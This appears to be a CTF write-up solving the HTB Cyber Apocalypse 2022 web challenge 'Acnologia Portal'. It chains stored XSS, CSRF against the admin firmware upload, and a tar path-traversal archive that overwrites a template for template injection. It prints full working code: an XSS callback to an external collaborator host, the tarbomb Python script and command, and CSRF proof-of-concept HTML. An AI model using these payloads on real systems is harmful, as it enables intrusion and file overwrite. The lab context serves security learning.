HTB Cyber Apocalypse CTF 2022 - Intergalactic Chase
by TofuEelRoll
HTB Cyber Apocalypse CTF 2022 - Intergalactic Chase
Acnologia Portal - Web
Challenge Description
Bonnie has confirmed the location of the Acnologia spacecraft operated by the Golden Fang mercenary. Before taking over the spaceship, we need to disable its security measures. Ulysses discovered an accessible firmware management portal for the spacecraft. Can you help him get in?
Source Code Review
For this challenge, the creator’s were nice enough to include the source code for us to review prior to starting the challenge, as well as all the necessary files to create a local docker instance of the challenge.
Looking over the source code, a few things stand out at me:
- We can register an account and send “reports” for an admin to review, which can include a message
- The report message does not include any sort of sanitization, so it may be vulnerable to XSS
- The admin has the capability to upload new firmware by issuing a
POSTrequest to/firmware/upload - The
POSTrequest to/firmware/uploaddoes not contain any sort of CSRF protections - There’s no builtin mechanism to upload firmware, even if you’re an admin, so we need to manually craft the request to submit a file to
/firmware/upload - Based on the
routes.pyfile, each endpoing is rendered usingrender_templatewhich is vulnerable to template injection. However, we need to find a way to modify the templates to include a template injection payload.
Based on the takeaways above, it seems the exploit chain is going to look something like:
- Submit a message which includes malicious Javascript
- Using Javascript, trick the admin into uploading new firmware
- Upload firmware, which exploits a tar bomb and overwrites a template we have access to as a non-admin user, such as
registration.html, with a file containing a SSTI payload
Solution
Step One - XSS
After creating a new account and logging in, we are presented with a list of “firmwares” and the possibility to “Report A Bug” against each one:

Based on our review of the source code, we believed that the /review.html page is vulnerable to Cross-Site Scripting and we will be able to inject Javascript into the page. A very quick and easy test of this theory is to report a bug using the following html for the Issue text:
<img/src="http://g1iywth7y15x0wc9wlxwawg31u7zvo.oastify.com" />

It takes a second, but once the text on the page changes to “Issue reported successfully!”, we received a request to our Burp Collaborator from the challenge’s IP address:

We were hopeful that this would be easy, and we would just be able to leak the admin’s session cookie and log in as the admin, but unfortunately it won’t be that easy, as the cookies have the HTTP Only attribute. Setting the HTTP Only attribute limits access to those cookies by Javascript.
For some reason, the site wipes the database every time you submit a review, so you have to create a new user every time you want to test a payload. It got pretty annoying as we progressed through the challenge!
Step Two - File Upload
Looking at the following chunk of code from the source code, we were fairly sure that we’d be able to trick the admin bot to upload a new firmware for us, but we’d have to craft the POST request manually as the challenge doesn’t give us a good way to upload a file:
@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
if 'file' not in request.files:
return response('Missing required parameters!'), 401
extraction = extract_firmware(request.files['file'])
if extraction:
return response('Firmware update initialized successfully.')
return response('Something went wrong, please try again!'), 403
We sort of chose the hacky solution of modifying the source code we were provided, so we had a way to upload files, which resulted in this POST request being sent:
POST /api/firmware/upload HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27546487216637475761996928192
Content-Length: 225
Origin: http://127.0.0.1:1337
Connection: close
Referer: http://127.0.0.1:1337/dashboard
Upgrade-Insecure-Requests: 1
-----------------------------27546487216637475761996928192
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
test
-----------------------------27546487216637475761996928192--
Obviously we don’t really win anything by uploading a test.txt file, and we can’t even submit that request without being an admin due to the @is_admin check on the /firmware/upload route. But we at the very least have an idea of what the POST request should look like when we put everything together.
Step Three - Tar Bomb
The util.py code describes what will happen when an admin uploads new firmware:
def extract_firmware(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
rand_dir = generate(15)
extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
os.makedirs(extractdir, exist_ok=True)
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
try:
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
continue
except:
pass
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return True
return False
The interesting information here is that we can send a tar file, and it will extract that tar file. So I immediately thought of a tar bomb attack, allowing us to create a tar file which when extracted will overwrite a file on the system. Using the following code stolen from that Medium article, we were able to craft a malicious tar file:
#!/bin/python
# Copyright 2020 Andrew Scott
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
# !This script is intended for educational purposes only!
import os, sys, tarfile
DIR_LEVEL = "../"
def main(argv=sys.argv):
if len(argv) != 5:
sys.exit("Incorrect arguments, expected <payload> <output> <depth> <path>")
payload, output, depth, path = argv[1:5]
if not os.path.exists(payload):
sys.exit("Invalid payload file")
if path and path[-1] != '/':
path += '/'
dt_path = f"{DIR_LEVEL*int(depth)}{path}{os.path.basename(payload)}"
with tarfile.open(output, "w:gz") as t:
t.add(payload, dt_path)
t.close()
print(f"Created {output} containing {dt_path}")
if __name__ == '__main__':
main()
Using the code above, I created a tar file with the following “malicious” register.html page:
python3 tarbomb.py register.html malicious.tar.gz 10 app/application/templates
Created malicious.tar.gz containing ../../../../../../../../../../app/application/templates/register.html
Step Four - CSRF
Armed with a “malicious” tar file, I re-crafted my POST request to upload a new firmware:

Now all I had to do was use Burp to create a CSRF PoC based on the upload request, and submit it for review:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1:1337\/api\/firmware\/upload", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------407657333329461537643436727171");
xhr.withCredentials = true;
var body = "-----------------------------407657333329461537643436727171\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"malicious.tar.gz\"\r\n" +
"Content-Type: application/gzip\r\n" +
"\r\n" +
"\x1f\x8b\x08\x08\x98\x84\x85b\x02\xffmalicious.tar\x00\xed\xd5AK\xc30\x18\x06\xe0\x9e\xfd\x15\xbdm\xbb\xa4m\x96\xb6*\x08\x1e=\x8ax/Y\xf7u\xabK\x9b\x90~n+c\xff\xdd\xce\x89\"\xa8\xe8\xc1\x1d\xf4}H\xc8G\x08\x04\x12\xdeDD\"\xba\xbe\xd5\xdb\x1b\xd2s\xf2\xc1\xaf\x88\x8f\x3e\x1b\xe3x:}\xab\x0f\xf3I,\x93$\x08\xb7\xc1\t\x3cv\xac\xfd\xb0}\xf0?\xc9\x3cl\xb8n\xe8*\xc9Ry~\x91%2\x17\x89\x92y&\xcf\x02\xf8\xfb\x84\x88\xbeh\xda\xb9C7u\xa9\xb9\xb6m\xc4\xd48\xa3\x99\xba\xc8\xd3\xba\xa6\x8dXrc\xbe\x95\xffL\xa9\xe71\xcf\xd2c\xd6\xa5z\xcd\xbcL\xd4\xfb\xfc\xcb\xa9Ri\x10\xc6\xa7\xcc\xffB{O\xcczn\x3e~\x06\x87eU\xf5\xf7\xee\x7f\xb7\x0b;2\x95(\xee_\xae\xf6\x8e*\xf2\xd4\x96T\x14\xa5m\x99\xb6,\xca\xbe\x1c\x0eE\x14E\xdd\xd6\\\x14C\xb10v\xa6M7\xd4\xb6\x13\xce:j\xc7\xa3\xcd\x828\\2\xbb\xcb(\x9a9\xc5+\x9b\xcaf\xc3\x9d\xf5\xb1Z-\x8c\xef\xbd\xea\x9d[\xbb\x07\x12Vw\\W\xbd(m3\x9a\x08?|=\xe3I\xb8\xdf#\x8d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\xf7\x04\"\x86R\x0b\x00(\x00\x00\r\n" +
"-----------------------------407657333329461537643436727171--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
I struggled quite a bit here, I submitted the above CSRF payload multiple times and nothing worked, even locally I couldn’t get it to work. Then I remembered, the admin bot is not browsing to http://127.0.0.1:1337, it’s browsing to http://localhost:1337, based on the following code from the bot.py:
client.get('http://localhost:1337/')
Since the bot’s cookies won’t be included to requests to http://127.0.0.1, we need to modify my CSRF payload to issue the request to localhost instead:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/localhost:1337\/api\/firmware\/upload", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------407657333329461537643436727171");
xhr.withCredentials = true;
var body = "-----------------------------407657333329461537643436727171\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"malicious.tar.gz\"\r\n" +
"Content-Type: application/gzip\r\n" +
"\r\n" +
"\x1f\x8b\x08\x08\x98\x84\x85b\x02\xffmalicious.tar\x00\xed\xd5AK\xc30\x18\x06\xe0\x9e\xfd\x15\xbdm\xbb\xa4m\x96\xb6*\x08\x1e=\x8ax/Y\xf7u\xabK\x9b\x90~n+c\xff\xdd\xce\x89\"\xa8\xe8\xc1\x1d\xf4}H\xc8G\x08\x04\x12\xdeDD\"\xba\xbe\xd5\xdb\x1b\xd2s\xf2\xc1\xaf\x88\x8f\x3e\x1b\xe3x:}\xab\x0f\xf3I,\x93$\x08\xb7\xc1\t\x3cv\xac\xfd\xb0}\xf0?\xc9\x3cl\xb8n\xe8*\xc9Ry~\x91%2\x17\x89\x92y&\xcf\x02\xf8\xfb\x84\x88\xbeh\xda\xb9C7u\xa9\xb9\xb6m\xc4\xd48\xa3\x99\xba\xc8\xd3\xba\xa6\x8dXrc\xbe\x95\xffL\xa9\xe71\xcf\xd2c\xd6\xa5z\xcd\xbcL\xd4\xfb\xfc\xcb\xa9Ri\x10\xc6\xa7\xcc\xffB{O\xcczn\x3e~\x06\x87eU\xf5\xf7\xee\x7f\xb7\x0b;2\x95(\xee_\xae\xf6\x8e*\xf2\xd4\x96T\x14\xa5m\x99\xb6,\xca\xbe\x1c\x0eE\x14E\xdd\xd6\\\x14C\xb10v\xa6M7\xd4\xb6\x13\xce:j\xc7\xa3\xcd\x828\\2\xbb\xcb(\x9a9\xc5+\x9b\xcaf\xc3\x9d\xf5\xb1Z-\x8c\xef\xbd\xea\x9d[\xbb\x07\x12Vw\\W\xbd(m3\x9a\x08?|=\xe3I\xb8\xdf#\x8d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\xf7\x04\"\x86R\x0b\x00(\x00\x00\r\n" +
"-----------------------------407657333329461537643436727171--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
We also found that this exploit only worked if we had never visited the register.html page in the browser, I don’t know if that’s intended or just a weird issue only we ran into, but it was pretty frustrating. So we reset my docker container to have a fresh state, and issued the request to register a new user using Burp, so as to never interact with that page in the browser:
POST /api/register HTTP/1.1
Host: 159.65.89.199:30810
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://178.62.119.24:32222/register
Content-Type: application/json
Origin: http://178.62.119.24:32222
Content-Length: 37
Connection: close
{"username":"test","password":"test"}
Once we created a user, we logged in and sent our CSRF PoC to the admin bot:
POST /api/firmware/report HTTP/1.1
Host: 159.65.89.199:30810
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://159.65.89.199:30810/dashboard
Content-Type: application/json
Origin: http://159.65.89.199:30810
Content-Length: 2838
Connection: close
Cookie: session=9b2bf34e-7f98-4f8b-9519-29fee3eba415
{"module_id":"1","issue":"<html>\n <!-- CSRF PoC - generated by Burp Suite Professional -->\n <body>\n <script>history.pushState('', '', '/')</script>\n <script>\n function submitRequest()\n {\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", \"http:\\/\\/localhost:1337\\/api\\/firmware\\/upload\", true);\n xhr.setRequestHeader(\"Accept\", \"text\\/html,application\\/xhtml+xml,application\\/xml;q=0.9,image\\/webp,*\\/*;q=0.8\");\n xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\n xhr.setRequestHeader(\"Content-Type\", \"multipart\\/form-data; boundary=---------------------------116814137517555274363670489130\");\n xhr.withCredentials = true;\n var body = \"-----------------------------116814137517555274363670489130\\r\\n\" + \n \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"malicious.tar.gz\\\"\\r\\n\" + \n \"Content-Type: application/gzip\\r\\n\" + \n \"\\r\\n\" + \n \"\\x1f\\x8b\\x08\\x08\\xa9\\x88\\x85b\\x02\\xffmalicious.tar\\x00\\xed\\xd5\\xcbJ\\xc40\\x14\\x06\\xe0\\xae}\\x8a\\xect\\\\\\xa4i\\xa7\\x17\\x15D\\x97.E\\xdc\\xd7L=\\xad\\xd5\\xb4\\t\\xc9\\xd1\\xe90\\xfa\\xee\\xd6\\x0b\\x8a\\xa0\\xe2F\\x17\\xe3\\xff\\x91\\x90C\\t\\x04\\x92\\xfc\\xa9\\x8ce||\\xaa\\xc7\\x13\\xd2\\x97\\xe4\\xa3_\\xa1^|5*5\\x9f\\xbf\\xd7O\\xdf\\x13\\x95&I$\\xc6\\xe8\\x0f\\xdc\\x06\\xd6~Z\\x3e\\xfa\\x9f\\xd2R\\xf4\\xdc\\xf5t\\x98\\x14y\\xba\\xaf\\x92\\xbd2\\x91Y\\xa1\\xe6i\\xbe\\x15\\xc1\\xe6\\x932\\xfe\\xa6i\\xe7\\x9e\\xba\\xe9j\\xcd\\x9d\\x1db\\xa6\\xde\\x19\\xcd\\x14bOm\\x17\\x98\\xbc\\xbc\\xe2\\xde\\xfc \\xffE\\x96=\\x8fe\\x91\\xbfd=\\xcd\\xde2\\x9f\\xe6\\xeac\\xfe\\xd3yY\\xaaH\\xa8\\xbf\\xcc\\x7f\\xab\\xbd\\'f}i\\x3e\\x7f\\x06\\xa7iM\\xb3y\\xe7\\xbf^\\x8b@\\xa6\\x91\\xd5\\xf9\\xeb\\xd1\\x9eQC\\x9e\\x86\\x9a\\xaa\\xaa\\xb6\\x03\\xd3\\xc8\\xb2^\\xd5\\xd3\\xa6\\xc8\\xaa\\xea\\x86\\x8e\\xabj*Zc\\x17\\xda\\x84\\xa9\\xb6A:\\xebh\\xd8\\xd9^\\xb6\\xc4\\xe2\\x8a\\xd9\\x1d\\xc4\\xf1\\xc2e|c\\xf3\\xb4_r\\xb0^e7\\xad\\xf1+\\x9f\\xad\\x9c\\xbbs\\xd7$\\xad\\x0e\\xdc5+Y\\xdb\\xfeh\\x3c\\xbc\\x98.\\x97\\x88\\x1b\\xa3\\xdb]\\xc9#\\x8b{\\xb1\\xd0\\x81\\x8a\\xecb{&\\xfd\\xf4[\\xda\\x99\\x89\\x87\\x07$\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0s\\x8f\\x11\\xe2\\xfb\\x19\\x00(\\x00\\x00\\r\\n\" + \n \"-----------------------------116814137517555274363670489130--\\r\\n\";\n var aBody = new Uint8Array(body.length);\n for (var i = 0; i < aBody.length; i++)\n aBody[i] = body.charCodeAt(i); \n xhr.send(new Blob([aBody]));\n }\n submitRequest();\n </script>\n <form action=\"#\">\n <input type=\"button\" value=\"Submit request\" onclick=\"submitRequest();\" />\n </form>\n </body>\n</html>\n"}
And finally, we navigated to the /register page in the browser for the first time and received the flag in our Burp Collaborator:

The Base64 object we received on our Burp Collaborator decodes to the flag:
